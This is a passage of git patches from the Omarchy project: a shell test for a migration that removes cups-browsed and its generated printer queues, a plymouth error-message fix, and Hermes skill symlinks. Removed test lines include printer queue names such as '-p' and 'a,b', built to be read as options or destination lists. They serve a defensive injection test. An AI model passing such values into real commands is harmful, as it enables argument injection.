cups-browsed would quietly take it back out -# again. This records that the machine has had its one removal. +omarchy-pkg-drop cups-browsed >/dev/null sudo install -Dm644 /dev/null "$machine_marker" diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index 75e9ac81..ab3affa7 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -83,6 +83,7 @@ verify_printing_security() { for path in \ /etc/cups/cups-browsed.conf \ + /etc/cups/cups-browsed.conf.pacsave \ /usr/bin/cups-browsed \ /usr/lib/cups/backend/implicitclass \ /usr/lib/systemd/system/cups-browsed.service \ diff --git a/test/shell.d/cups-browsed-removal-migration-test.sh b/test/shell.d/cups-browsed-removal-migration-test.sh index 63f6a053..a311e6e7 100644 --- a/test/shell.d/cups-browsed-removal-migration-test.sh +++ b/test/shell.d/cups-browsed-removal-migration-test.sh @@ -2,7 +2,7 @@ set -euo pipefail -source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" +source "$(cd -- "$(dirname -- "$0")" && pwd)/base-test.sh" migration="$ROOT/migrations/1788009111.sh" @@ -12,26 +12,31 @@ trap 'rm -rf "$test_tmp"' EXIT mock_bin="$test_tmp/bin" mkdir -p "$mock_bin" "$test_tmp/var/lib/omarchy/migrations" -# Every privileged step is stubbed: a real run here would take printer discovery -# off the developer's own machine. +# Every privileged step is stubbed: a real run here would take printer +# discovery off the developer's own machine. cat >"$mock_bin/omarchy-pkg-present" <<'SH' #!/bin/bash [[ " $BROWSED_INSTALLED " == *" $1 "* ]] SH -# pacman answers the removal preflight from the state each case sets up, and -# logs the removal itself so the flags it is called with are visible. +cat >"$mock_bin/omarchy-pkg-drop" <<'SH' +#!/bin/bash +printf 'omarchy-pkg-drop\t%s\n' "$*" >>"$BROWSED_LOG" +[[ -z $BROWSED_DROP_FAILS ]] +SH + cat >"$mock_bin/pacman" <<'SH' #!/bin/bash printf 'pacman\t%s\n' "$*" >>"$BROWSED_LOG" -[[ $* == *--print* ]] || exit 0 -[[ -z $BROWSED_REMOVAL_BLOCKED ]] +if [[ $* == *--print* ]]; then + [[ -z $BROWSED_REMOVAL_BLOCKED ]] +fi SH cat >"$mock_bin/systemctl" <<'SH' #!/bin/bash printf 'systemctl\t%s\n' "$*" >>"$BROWSED_LOG" -unit=${*: -1} +unit=$3 case $1 in is-enabled) [[ " $BROWSED_ENABLED " == *" $unit "* ]] ;; is-active) [[ " $BROWSED_ACTIVE " == *" $unit "* ]] ;; @@ -51,386 +56,303 @@ printf 'install\t%s\n' "$*" >>"$BROWSED_LOG" exec /usr/bin/install "$@" SH -# lpstat reports the queues cups-browsed generated. Only those route through its -# implicitclass backend; the ipp:// and usb:// entries are printers a person -# added and must survive. +# lpstat reports only package-generated queues on the implicitclass backend. +# Manual ipp:// and usb:// printers must survive. cat >"$mock_bin/lpstat" <<'SH' #!/bin/bash printf 'lpstat\t%s\n' "$*" >>"$BROWSED_LOG" case $1 in -v) - [[ -z $BROWSED_LPSTAT_FAILS ]] || exit 1 - # lpstat translates "device for". Only a caller that pinned the locale gets - # the string the migration parses. - if [[ ${LC_ALL:-} == "C" ]]; then + if [[ -n $BROWSED_LPSTAT_FAILS ]]; then + echo "lpstat: Scheduler is not responding." >&2 + exit 1 + elif [[ -z $BROWSED_QUEUES ]]; then + echo "lpstat: No destinations added." >&2 + exit 1 + elif [[ $LC_ALL == "C" ]]; then printf '%s\n' "$BROWSED_QUEUES" else printf '%s\n' "$BROWSED_QUEUES" | sed 's|^device for |Gerät für |' fi ;; -p) - # A destination that no longer exists is unknown to lpstat. [[ " $BROWSED_GONE_QUEUES " != *" $2 "* ]] - exit $? ;; -o) - [[ -z $BROWSED_LPSTAT_O_FAILS ]] || exit 1 - # Jobs are listed per queue: "- ". - [[ " $BROWSED_BUSY_QUEUES " == *" $2 "* ]] && printf '%s-7 alice 1024\n' "$2" + if [[ -n $BROWSED_LPSTAT_O_FAILS ]]; then + echo "lpstat: Scheduler is not responding." >&2 + exit 1 + fi + if [[ " $BROWSED_BUSY_QUEUES " == *" $2 "* ]]; then + printf '%s-7 alice 1024\n' "$2" + fi ;; esac -exit 0 SH cat >"$mock_bin/lpadmin" <<'SH' #!/bin/bash printf 'lpadmin\t%s\n' "$*" >>"$BROWSED_LOG" -[[ -z $BROWSED_LPADMIN_FAILS ]] +if [[ -n $BROWSED_LPADMIN_FAILS ]]; then + echo "lpadmin: Printer does not exist." >&2 + exit 1 +fi SH cat >"$mock_bin/cupsreject" <<'SH' #!/bin/bash printf 'cupsreject\t%s\n' "$*" >>"$BROWSED_LOG" -[[ -z $BROWSED_REJECT_FAILS ]] +if [[ -n $BROWSED_REJECT_FAILS ]]; then + echo "cupsreject: Unable to reject jobs." >&2 + exit 1 +fi SH chmod +x "$mock_bin"/* log="$test_tmp/actions.log" output="$test_tmp/migration.out" -marker="$test_tmp/var/lib/omarchy/migrations/1788009111" +errors="$test_tmp/migration.err" +status=0 + +start_case() { + installed="cups-browsed" + enabled="cups-browsed.service" + active="cups-browsed.service cups.service" + blocked="" + drop_fails="" + queues="" + busy="" + lpstat_fails="" + lpstat_o_fails="" + lpadmin_fails="" + reject_fails="" + gone_queues="" + use_marker="$test_tmp/var/lib/omarchy/migrations/$1" + rm -f "$use_marker" +} run_migration() { : >"$log" : >"$output" + : >"$errors" - # No LC_ALL in the environment, so the mock above sees "C" only when the - # migration pinned it for the call itself -- which is what a non-English - # desktop depends on. - env -u LC_ALL -u LANGUAGE \ + if env -u LC_ALL -u LANGUAGE \ BROWSED_LOG="$log" \ - BROWSED_INSTALLED="${installed:-}" \ - BROWSED_ENABLED="${enabled:-}" \ - BROWSED_ACTIVE="${active:-}" \ - BROWSED_REMOVAL_BLOCKED="${blocked:-}" \ - BROWSED_QUEUES="${queues:-}" \ - BROWSED_BUSY_QUEUES="${busy:-}" \ - BROWSED_LPSTAT_FAILS="${lpstat_fails:-}" \ - BROWSED_LPADMIN_FAILS="${lpadmin_fails:-}" \ - BROWSED_LPSTAT_O_FAILS="${lpstat_o_fails:-}" \ - BROWSED_REJECT_FAILS="${reject_fails:-}" \ - BROWSED_GONE_QUEUES="${gone_queues:-}" \ + BROWSED_INSTALLED="$installed" \ + BROWSED_ENABLED="$enabled" \ + BROWSED_ACTIVE="$active" \ + BROWSED_REMOVAL_BLOCKED="$blocked" \ + BROWSED_DROP_FAILS="$drop_fails" \ + BROWSED_QUEUES="$queues" \ + BROWSED_BUSY_QUEUES="$busy" \ + BROWSED_LPSTAT_FAILS="$lpstat_fails" \ + BROWSED_LPSTAT_O_FAILS="$lpstat_o_fails" \ + BROWSED_LPADMIN_FAILS="$lpadmin_fails" \ + BROWSED_REJECT_FAILS="$reject_fails" \ + BROWSED_GONE_QUEUES="$gone_queues" \ PATH="$mock_bin:$PATH" \ OMARCHY_PATH="$ROOT" \ - OMARCHY_CUPS_BROWSED_REMOVAL_MARKER="${use_marker:-$marker}" \ - bash -euo pipefail "$migration" >"$output" + OMARCHY_CUPS_BROWSED_REMOVAL_MARKER="$use_marker" \ + bash -euo pipefail "$migration" >"$output" 2>"$errors"; then + status=0 + else + status=$? + fi } -# ------------------------------------------------ a machine that has discovery +assert_description_only() { + [[ $(<"$output") == "Temporarily remove automatic printer discovery" ]] || + fail "the migration prints only its description" "$(cat "$output")" +} -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" -blocked="" -# CUPS allows a colon in a destination name but never a space, so "Front:Desk" -# is a legal queue and the separator is the last ": implicitclass://". -queues=$'device for Office: implicitclass://Office/\ndevice for Front:Desk: implicitclass://Front:Desk/\ndevice for -p: implicitclass://-p/\ndevice for a,b: implicitclass://a,b/\ndevice for all: implicitclass://all/\ndevice for Desk: ipp://192.168.1.9/ipp/print\ndevice for Attic: usb://HP/LaserJet%20P1102' -rm -f "$marker" +assert_quiet_success() { + (( status == 0 )) || fail "the migration succeeds" "$(cat "$errors")" + assert_description_only + [[ ! -s $errors ]] || fail "a successful migration is quiet" "$(cat "$errors")" +} + +# ------------------------------------------------ a machine that has printers + +start_case printers +queues=$'device for Office: implicitclass://Office/\ndevice for Front_Desk: implicitclass://Front_Desk/\ndevice for all: implicitclass://all/\ndevice for Desk: ipp://192.168.1.9/ipp/print\ndevice for Attic: usb://HP/LaserJet%20P1102' run_migration +assert_quiet_success +grep -qxF $'pacman\t-Rs --print cups-browsed' "$log" || + fail "the migration preflights the package removal" "$(cat "$log")" grep -qxF $'sudo\tsystemctl disable --now cups-browsed.service' "$log" || - fail "the removal disables and stops the discovery service" "$(cat "$log")" -pass "the removal disables and stops the discovery service" - -# -Rns would discard /etc/cups/cups-browsed.conf rather than keep it as a -# .pacsave, and a removal meant to be temporary must not delete configuration. -grep -qxF $'pacman\t-R --noconfirm cups-browsed' "$log" || - fail "the removal keeps configuration pacman marked as a backup" "$(cat "$log")" -if grep -qE -- '-Rns|-Rn ' "$log"; then - fail "the removal never passes -n" "$(cat "$log")" -fi -# -s would also sweep dependencies that became unneeded, which is a promise a -# rolling dependency graph cannot keep. -if grep -q -- '-Rs --noconfirm' "$log"; then - fail "the removal names only the package it means to remove" "$(cat "$log")" -fi -pass "the removal keeps the machine's own cups-browsed.conf and touches nothing else" - -# pacman deletes the unit file but not the enable symlink, and once the unit is -# gone systemd cannot resolve it by name to clean that up. -disable_line=$(grep -n 'disable --now' "$log" | tail -1 | cut -d: -f1 || true) -removal_line=$(grep -n $'^pacman\t-R --noconfirm' "$log" | head -1 | cut -d: -f1 || true) -[[ -n $disable_line && -n $removal_line ]] || - fail "the removal both disables the unit and removes the package" "$(cat "$log")" -(( disable_line < removal_line )) || - fail "the removal disables before the unit file goes" "$(cat "$log")" -pass "the removal disables before the unit file goes" - -# cups-browsed keeps its generated queues on shutdown, and they print through -# the implicitclass backend that goes with the package. -grep -qxF $'sudo\tlpadmin -x Office' "$log" || - fail "the queues discovery generated are removed with it" "$(cat "$log")" + fail "the migration disables and stops discovery" "$(cat "$log")" +for queue in Office Front_Desk all; do + grep -qxF "sudo lpadmin -x $queue" "$log" || + fail "the migration removes generated queue $queue" "$(cat "$log")" +done grep -q 'lpadmin -x Desk' "$log" && - fail "a printer added by hand over ipp survives" "$(cat "$log")" + fail "the migration leaves a manually-added IPP printer alone" "$(cat "$log")" grep -q 'lpadmin -x Attic' "$log" && - fail "a printer added by hand over usb survives" "$(cat "$log")" -grep -qxF $'sudo\tlpadmin -x Front:Desk' "$log" || - fail "a queue whose name contains a colon is still matched" "$(cat "$log")" + fail "the migration leaves a manually-added USB printer alone" "$(cat "$log")" +grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || + fail "the migration uses the standard package removal helper" "$(cat "$log")" +[[ -f $use_marker ]] || fail "the migration records machine-wide completion" -# cups-browsed names queues after what the printer advertised, so the name came -# off the network. lpstat and lpadmin take a destination as an option value: a -# leading dash reads as another option and a comma separates a list. -if grep -qF -- $'lpstat\t-o -p' "$log"; then - fail "a queue named like an option is never passed to lpstat" "$(cat "$log")" -fi -if grep -q -- 'lpadmin -x -p' "$log"; then - fail "a queue named like an option is never passed to lpadmin" "$(cat "$log")" -fi -if grep -q 'lpadmin -x a,b' "$log"; then - fail "a queue name holding a comma is never passed as a destination list" "$(cat "$log")" -fi -if grep -qF -- $'lpstat\t-o all' "$log"; then - fail "a queue named all is never asked about, since lpstat reads it as every destination" "$(cat "$log")" -fi -grep -qF -- "Cannot safely ask about jobs on the queue named '-p'" "$output" || - fail "a queue that cannot be asked about safely is reported" "$(cat "$output")" -pass "generated queues go, hand-added printers stay, unaddressable names are reported" - -# The queues have to go while cups-browsed's backend is still installed. -cleanup_line=$(grep -n 'lpadmin -x' "$log" | tail -1 | cut -d: -f1 || true) -[[ -n $cleanup_line ]] || fail "the removal cleans up generated queues" "$(cat "$log")" -(( cleanup_line < removal_line )) || - fail "generated queues go before the backend that serves them" "$(cat "$log")" -pass "generated queues go before the backend that serves them" - -[[ -f $marker ]] || fail "the removal records machine-wide completion" -pass "the removal records machine-wide completion" +disable_line=$(grep -n 'disable --now' "$log" | head -1 | cut -d: -f1) +cleanup_line=$(grep -n 'lpadmin -x' "$log" | tail -1 | cut -d: -f1) +removal_line=$(grep -n 'omarchy-pkg-drop' "$log" | head -1 | cut -d: -f1) +(( disable_line < cleanup_line && cleanup_line < removal_line )) || + fail "the service and queues are handled before package removal" "$(cat "$log")" +pass "generated queues are removed, manual printers survive, and normal output is quiet" # ------------------------------------ a second user, after a deliberate reinstall -# Migration state is per user. The account that runs this after someone put -# discovery back on purpose must not quietly take it away again. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" run_migration - -[[ ! -s $log ]] || fail "a machine that already had its removal is left alone" "$(cat "$log")" +assert_quiet_success +[[ ! -s $log ]] || fail "a completed machine-wide removal is left alone" "$(cat "$log")" pass "a second user does not undo a deliberate reinstall" # ----------------------------------------- a machine that never had discovery +start_case no-package installed="" -enabled="" -active="cups.service" -use_marker="$test_tmp/var/lib/omarchy/migrations/never-had-it" run_migration - +assert_quiet_success [[ ! -s $log ]] || fail "a machine without discovery is left alone" "$(cat "$log")" -[[ ! -e $use_marker ]] || - fail "a machine with nothing to remove is not made to pay for a marker" "$(cat "$log")" -pass "a machine without discovery does no privileged work and gets no password prompt" +[[ ! -e $use_marker ]] || fail "a machine without discovery gets no marker" +pass "a machine without cups-browsed does no privileged work" + +# --------------------------------------------- a machine that has no printers + +start_case no-printers +run_migration +assert_quiet_success +grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || + fail "no printers does not prevent package removal" "$(cat "$log")" +grep -qE 'cupsreject|lpadmin' "$log" && + fail "no printers requires no queue administration" "$(cat "$log")" +[[ -f $use_marker ]] || fail "the no-printer migration records completion" +pass "CUPS reporting no destinations is a successful empty migration" # ------------------------------------------------- a blocked package removal -# Something depending on cups-browsed makes pacman refuse. Stopping the service -# first and only then discovering that would leave discovery broken rather than -# removed. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" +start_case blocked blocked="1" -use_marker="$test_tmp/var/lib/omarchy/migrations/blocked" run_migration - +(( status != 0 )) || fail "a blocked package removal remains pending" +assert_description_only grep -q 'disable --now' "$log" && - fail "a refused removal never stops the service" "$(cat "$log")" -if grep -q $'^pacman\t-R --noconfirm' "$log"; then - fail "a refused removal does not go on to remove anything" "$(cat "$log")" -fi -[[ ! -e $use_marker ]] || fail "a refused removal is not recorded as done" -# The preflight has to ask about the same command the removal will run. -grep -qxF $'pacman\t-R --print cups-browsed' "$log" || - fail "the preflight asks pacman about the removal it will actually run" "$(cat "$log")" -pass "a removal pacman would refuse changes nothing at all" + fail "a blocked removal does not stop discovery" "$(cat "$log")" +grep -q 'omarchy-pkg-drop' "$log" && + fail "a blocked removal does not invoke package removal" "$(cat "$log")" +[[ ! -e $use_marker ]] || fail "a blocked removal gets no marker" +pass "a package dependency prevents any partial migration" -# --------------------------------------------------- a queue that is printing +# --------------------------------------------------- a queue that has jobs -# lpadmin -x cancels the jobs on the queue it removes. A stale queue can be -# deleted whenever someone notices it; an aborted print cannot come back. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" -blocked="" +start_case busy queues=$'device for Office: implicitclass://Office/\ndevice for Spare: implicitclass://Spare/' busy="Office" -use_marker="$test_tmp/var/lib/omarchy/migrations/printing" run_migration - -# The implicitclass backend only needs cups-browsed to choose a destination, so -# a job already past that point finishes even though the daemon has stopped. -# Deleting the queue would abort it. -if grep -q 'lpadmin -x Office' "$log"; then - fail "a queue with jobs on it is left for them to finish" "$(cat "$log")" -fi +assert_quiet_success +grep -q 'lpadmin -x Office' "$log" && + fail "a queue with jobs is not deleted" "$(cat "$log")" grep -qxF $'sudo\tlpadmin -x Spare' "$log" || - fail "an idle generated queue is still removed" "$(cat "$log")" + fail "an idle generated queue is deleted" "$(cat "$log")" +grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || + fail "a busy queue does not retain the discovery package" "$(cat "$log")" -# A job submitted between the check and the deletion -- the sudo in between can -# sit at a password prompt -- would be cancelled by a deletion that had decided -# the queue was empty. -reject_line=$(grep -n 'cupsreject.*Spare' "$log" | head -1 | cut -d: -f1 || true) -probe_line=$(grep -n $'^lpstat\t-o Spare' "$log" | head -1 | cut -d: -f1 || true) -delete_line=$(grep -n 'lpadmin -x Spare' "$log" | head -1 | cut -d: -f1 || true) -[[ -n $reject_line && -n $probe_line && -n $delete_line ]] || - fail "a queue is closed, inspected and removed in that order" "$(cat "$log")" +reject_line=$(grep -n 'cupsreject.*Spare' "$log" | head -1 | cut -d: -f1) +probe_line=$(grep -n $'^lpstat\t-o Spare' "$log" | head -1 | cut -d: -f1) +delete_line=$(grep -n 'lpadmin -x Spare' "$log" | head -1 | cut -d: -f1) (( reject_line < probe_line && probe_line < delete_line )) || - fail "a queue stops taking new jobs before it is inspected or removed" "$(cat "$log")" -pass "a queue stops taking new jobs before it is inspected or removed" - -grep -q 'Office still has jobs' "$output" || - fail "a queue left alone is named so it can be removed later" "$(cat "$output")" -# One printer's job must not keep discovery on the machine. -grep -qxF $'sudo\tpacman -R --noconfirm cups-browsed' "$log" || - fail "a busy queue does not hold up the removal" "$(cat "$log")" -pass "a queue with jobs is left for them to finish, and does not hold up the removal" + fail "a queue is closed before it is checked and deleted" "$(cat "$log")" +pass "busy queues survive while idle discovery queues are removed" # ------------------------------------------------- a job query that fails -# Treating a failed query as an idle queue would delete it and abort whatever -# was on it, which is the one outcome this is trying to avoid. +start_case job-query-fails +queues=$'device for Office: implicitclass://Office/' lpstat_o_fails="1" -use_marker="$test_tmp/var/lib/omarchy/migrations/nojobs" run_migration - -if grep -q 'lpadmin -x' "$log"; then - fail "a queue whose jobs could not be checked is left alone" "$(cat "$log")" -fi -grep -q 'Could not check for jobs' "$output" || - fail "a job query that failed is said out loud" "$(cat "$output")" -pass "a queue whose jobs cannot be checked is left alone, not assumed idle" - -lpstat_o_fails="" +(( status != 0 )) || fail "a failed job query keeps the migration pending" +assert_description_only +grep -q 'lpadmin -x' "$log" && + fail "a queue with unknown job state is not deleted" "$(cat "$log")" +grep -q 'omarchy-pkg-drop' "$log" && + fail "a failed job query retains the package" "$(cat "$log")" +[[ ! -e $use_marker ]] || fail "a failed job query gets no marker" +pass "a failed job query is retryable instead of falsely completing" # ------------------------------------------------------ CUPS out of reach -# Failing to reach cupsd must not read like a machine with no queues to clean. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service" -busy="" +start_case no-cups +queues=$'device for Office: implicitclass://Office/' lpstat_fails="1" -use_marker="$test_tmp/var/lib/omarchy/migrations/nocups" run_migration - -if grep -q 'lpadmin -x' "$log"; then - fail "nothing is removed when the queue list could not be read" "$(cat "$log")" -fi -# Removing the backend without having read the queue list would strand every -# generated queue permanently, and the marker would stop anyone retrying. -if grep -q $'^pacman\t-R --noconfirm' "$log"; then - fail "the package waits until the queue list can be read" "$(cat "$log")" -fi -[[ ! -e $use_marker ]] || - fail "an unread queue list is not recorded as a finished removal" -grep -qi 'could not ask cups' "$output" || - fail "a queue list that could not be read is said out loud" "$(cat "$output")" -# Stopping discovery is the half that mattered, and it is idempotent. -grep -qxF $'sudo\tsystemctl disable --now cups-browsed.service' "$log" || - fail "discovery is still stopped when the queue list cannot be read" "$(cat "$log")" -pass "an unreadable queue list stops discovery but finalizes nothing" - -lpstat_fails="" +(( status != 0 )) || fail "an unavailable CUPS server keeps the migration pending" +assert_description_only +grep -qxF "lpstat: Scheduler is not responding." "$errors" || + fail "the underlying CUPS failure is preserved" "$(cat "$errors")" +grep -q 'omarchy-pkg-drop' "$log" && + fail "an unavailable CUPS server retains the package" "$(cat "$log")" +[[ ! -e $use_marker ]] || fail "an unavailable CUPS server gets no marker" +pass "an actual CUPS failure remains pending without custom telemetry" # ------------------------------------------------ a queue that will not go -# A queue left behind would route through a backend the removal is about to -# delete, so the package waits rather than stranding it for good. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" -blocked="" +start_case stuck-queue queues=$'device for Office: implicitclass://Office/' -busy="" -lpstat_fails="" lpadmin_fails="1" -use_marker="$test_tmp/var/lib/omarchy/migrations/stuck" run_migration +(( status != 0 )) || fail "a failed queue deletion keeps the migration pending" +grep -q 'omarchy-pkg-drop' "$log" && + fail "a persistent generated queue retains the backend" "$(cat "$log")" +[[ ! -e $use_marker ]] || fail "a failed queue deletion gets no marker" +pass "a persistent generated queue prevents partial completion" -if grep -q $'^pacman\t-R --noconfirm' "$log"; then - fail "the package waits while a generated queue is still there" "$(cat "$log")" -fi -[[ ! -e $use_marker ]] || fail "a half-done cleanup is not recorded as finished" -grep -q 'Could not remove the queue Office' "$output" || - fail "a queue that would not go is named" "$(cat "$output")" -pass "a queue that will not go keeps the package and the marker back" +# --------------------------------------------- a queue removed concurrently -lpadmin_fails="" - -# --------------------------------------------- a queue removed by someone else - -# Another administrator deleting the queue mid-run is the outcome wanted, not a -# failure worth keeping the package installed for. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" -blocked="" +start_case vanished-queue queues=$'device for Office: implicitclass://Office/' -busy="" -lpstat_fails="" -lpstat_o_fails="" lpadmin_fails="1" gone_queues="Office" -use_marker="$test_tmp/var/lib/omarchy/migrations/vanished" run_migration +assert_quiet_success +grep -qxF $'omarchy-pkg-drop\tcups-browsed' "$log" || + fail "a concurrently removed queue does not block package removal" "$(cat "$log")" +pass "a queue removed concurrently counts as removed" -grep -qxF $'sudo\tpacman -R --noconfirm cups-browsed' "$log" || - fail "a queue that is already gone does not hold up the removal" "$(cat "$log")" -[[ -f $use_marker ]] || fail "a queue that is already gone still finishes the migration" -pass "a queue someone else removed counts as removed" +# ------------------------------------------- a queue that cannot be closed -lpadmin_fails="" -gone_queues="" - -# ------------------------------------------- a queue that will not stop taking jobs - -# Deleting a queue that is still accepting work races whatever arrives next. -installed="cups-browsed" -enabled="cups-browsed.service" -active="cups-browsed.service cups.service" +start_case open-queue +queues=$'device for Office: implicitclass://Office/' reject_fails="1" -use_marker="$test_tmp/var/lib/omarchy/migrations/openqueue" run_migration - -if grep -q 'lpadmin -x' "$log"; then +(( status != 0 )) || fail "a queue that cannot be closed keeps the migration pending" +grep -q 'lpadmin -x' "$log" && fail "a queue still accepting jobs is not deleted" "$(cat "$log")" -fi -if grep -q $'^pacman\t-R --noconfirm' "$log"; then - fail "the package waits while a queue is still accepting jobs" "$(cat "$log")" -fi -[[ ! -e $use_marker ]] || fail "a queue still taking jobs is not recorded as done" -pass "a queue that will not stop taking jobs is neither inspected nor deleted" - -reject_fails="" +grep -q 'omarchy-pkg-drop' "$log" && + fail "a queue still accepting jobs retains the backend" "$(cat "$log")" +[[ ! -e $use_marker ]] || fail "a queue still accepting jobs gets no marker" +pass "a queue that cannot be closed is retried later" # -------------------------------------------------- a masked but running daemon -installed="cups-browsed" +start_case masked enabled="" active="cups-browsed.service" -blocked="" -queues="" -use_marker="$test_tmp/var/lib/omarchy/migrations/masked" run_migration - +assert_quiet_success grep -qxF $'sudo\tsystemctl stop cups-browsed.service' "$log" || - fail "a running unit is stopped even when it is not enabled" "$(cat "$log")" + fail "a masked running daemon is stopped" "$(cat "$log")" grep -q 'disable --now' "$log" && fail "a masked unit is not disabled" "$(cat "$log")" -pass "a masked but running daemon is stopped without being disabled" +pass "a masked running daemon is stopped without noisy output" -# A machine whose discovery never created a queue has nothing to clean up, and -# no reason to reach for CUPS administration. -grep -q 'lpadmin' "$log" && - fail "no queues means no CUPS administration" "$(cat "$log")" -pass "a machine with no generated queues does not touch CUPS administration" +# ------------------------------------------------ a package removal that fails + +start_case drop-fails +drop_fails="1" +run_migration +(( status != 0 )) || fail "a failed package removal keeps the migration pending" +assert_description_only +[[ ! -e $use_marker ]] || fail "a failed package removal gets no marker" +pass "a package removal failure cannot be recorded as complete" From e47784be1146d5b1807b33691caafc74fee3f452 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 21:02:45 +0200 Subject: [PATCH 134/336] Name the dev-link authorization when it is the thing that failed Validating /etc/omarchy.conf walks its parent chain to /, and that walk leaves its own subject behind in the global failure_context. The comparison that follows -- the one deciding whether the authorization actually names this checkout -- sets no context of its own, so an unauthorized development tree refused with: refusing to publish: directory / (must be root-owned and not group- or world-writable) failed validation naming a directory that had just passed, and pointing the reader at a filesystem problem that is not there. Seen on a worker VM running an unauthorized checkout, where / is 0555 root-owned. The hint line underneath was already right, which is what kept this from being worse. Restore the context before the comparison so the first line agrees with it, and assert both halves: that the refusal names the authorization, and that it does not blame the root directory. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_0115LngksSpXLD9NSXBEP3ki --- bin/omarchy-plymouth-set | 8 ++++++++ test/shell.d/plymouth-set-test.sh | 7 +++++++ 2 files changed, 15 insertions(+) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index f4c9b792..ff35b449 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -146,6 +146,14 @@ run_root_transaction() { failure_hint="$source_root is user-owned; run omarchy dev link to authorize this development checkout, or omarchy dev unlink to use the packaged tree" validate_trusted_configuration_file "$omarchy_conf" + # validate_trusted_configuration_file walks /etc up to / and leaves its own + # subject behind in failure_context. Without restoring ours, a checkout + # that simply is not the authorized one refuses with "directory / must be + # root-owned and not group- or world-writable" -- naming a directory that + # passed, and sending the reader after a filesystem problem that is not + # there. + failure_context="the dev-link authorization in $omarchy_conf, which must name $source_root" + quoted_source_root=$source_root quoted_source_root=${quoted_source_root//\\/\\\\} quoted_source_root=${quoted_source_root//\"/\\\"} diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index a2a7935a..c88f49fb 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -504,6 +504,13 @@ status=$? (( status != 0 )) || fail "a stale dev-link authorization is rejected" [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a stale dev-link authorization leaves the live theme unchanged" +# The refusal has to name the authorization. Validating /etc/omarchy.conf walks +# its parents and leaves that walk's subject in failure_context, so without +# restoring ours this refuses with "directory / must be root-owned and not +# group- or world-writable" -- accusing a directory that passed and pointing the +# reader at a filesystem problem that does not exist. +[[ $output == *"$omarchy_conf"* ]] || fail "a stale dev-link refusal names the authorization it rejected" "$output" +[[ $output != *"directory / "* ]] || fail "a stale dev-link refusal does not blame the root directory" "$output" assert_no_temporary_files "$fake_root" setup_run From c64e03d9c54e2c2265f5b5710ab3bc729257722a Mon Sep 17 00:00:00 2001 From: "James (SMF Works)" Date: Thu, 27 Aug 2026 11:19:05 -0400 Subject: [PATCH 135/336] Link Omarchy agent skills into Hermes skill directories Hermes was missing from the provision-user symlink list that already covers Claude, Codex, Pi, Antigravity, and ~/.agents. Add ~/.hermes/skills plus existing ~/.hermes/profiles/*/skills. Migration for current installs. --- bin/omarchy-provision-user | 10 +++++++++- docs/file-layout.md | 5 +++-- manual/17-ai.md | 2 +- migrations/1787843905.sh | 22 ++++++++++++++++++++++ test/shell.d/provision-user-test.sh | 12 ++++++++++-- 5 files changed, 45 insertions(+), 6 deletions(-) create mode 100644 migrations/1787843905.sh diff --git a/bin/omarchy-provision-user b/bin/omarchy-provision-user index 57024b5e..3bcbf7a8 100755 --- a/bin/omarchy-provision-user +++ b/bin/omarchy-provision-user @@ -84,7 +84,7 @@ fi # Dev-aware skill symlinks. Cannot live in /etc/skel because OMARCHY_PATH may # point at a dev checkout (omarchy dev link) where the target differs. # Loops every skill directory, so shipping a new one needs no edit here. -mkdir -p ~/.agents/skills ~/.claude/skills ~/.codex/skills ~/.pi/agent/skills ~/.gemini/config/skills +mkdir -p ~/.agents/skills ~/.claude/skills ~/.codex/skills ~/.pi/agent/skills ~/.gemini/config/skills ~/.hermes/skills for skill in "$OMARCHY_PATH"/default/agents/skills/*/; do skill=${skill%/} name=${skill##*/} @@ -93,6 +93,14 @@ for skill in "$OMARCHY_PATH"/default/agents/skills/*/; do ln -sfn "$skill" ~/.codex/skills/"$name" ln -sfn "$skill" ~/.pi/agent/skills/"$name" ln -sfn "$skill" ~/.gemini/config/skills/"$name" + ln -sfn "$skill" ~/.hermes/skills/"$name" + if [[ -d ~/.hermes/profiles ]]; then + for profile in ~/.hermes/profiles/*/; do + [[ -d $profile ]] || continue + mkdir -p "$profile/skills" + ln -sfn "$skill" "$profile/skills/$name" + done + fi done mkdir -p ~/Downloads ~/Pictures ~/Videos ~/.config/gtk-3.0 diff --git a/docs/file-layout.md b/docs/file-layout.md index 2a9d965b..08516524 100644 --- a/docs/file-layout.md +++ b/docs/file-layout.md @@ -198,11 +198,12 @@ Runs once per user. It does **not** copy `~/.config/**`, `~/.bashrc`, `flags.lua`, or the nautilus extensions — `/etc/skel` already seeded those. It only does the things `/etc/skel` can't: -- Skill symlinks `~/.{agents,claude,codex,pi/agent}/skills/` → +- Skill symlinks `~/.{agents,claude,codex,pi/agent,hermes}/skills/` (and each `~/.hermes/profiles/*/skills/`) → `$OMARCHY_PATH/default/agents/skills/`, looping over every skill directory there (currently `omarchy` and `diagnose-crash`) so new skills need no edit. Symlinks (not copies) so `omarchy dev link` against a dev - checkout repoints them correctly. + checkout repoints them correctly. Hermes profile dirs are only linked when + they already exist — provision does not create Hermes profiles. - `xdg-user-dirs-update` (Templates/Public/Desktop folded back into `$HOME`) and `~/.config/gtk-3.0/bookmarks` (needs `$HOME` expansion). - Hyprland's package-owned default input reads `XKBLAYOUT` / `XKBVARIANT` diff --git a/manual/17-ai.md 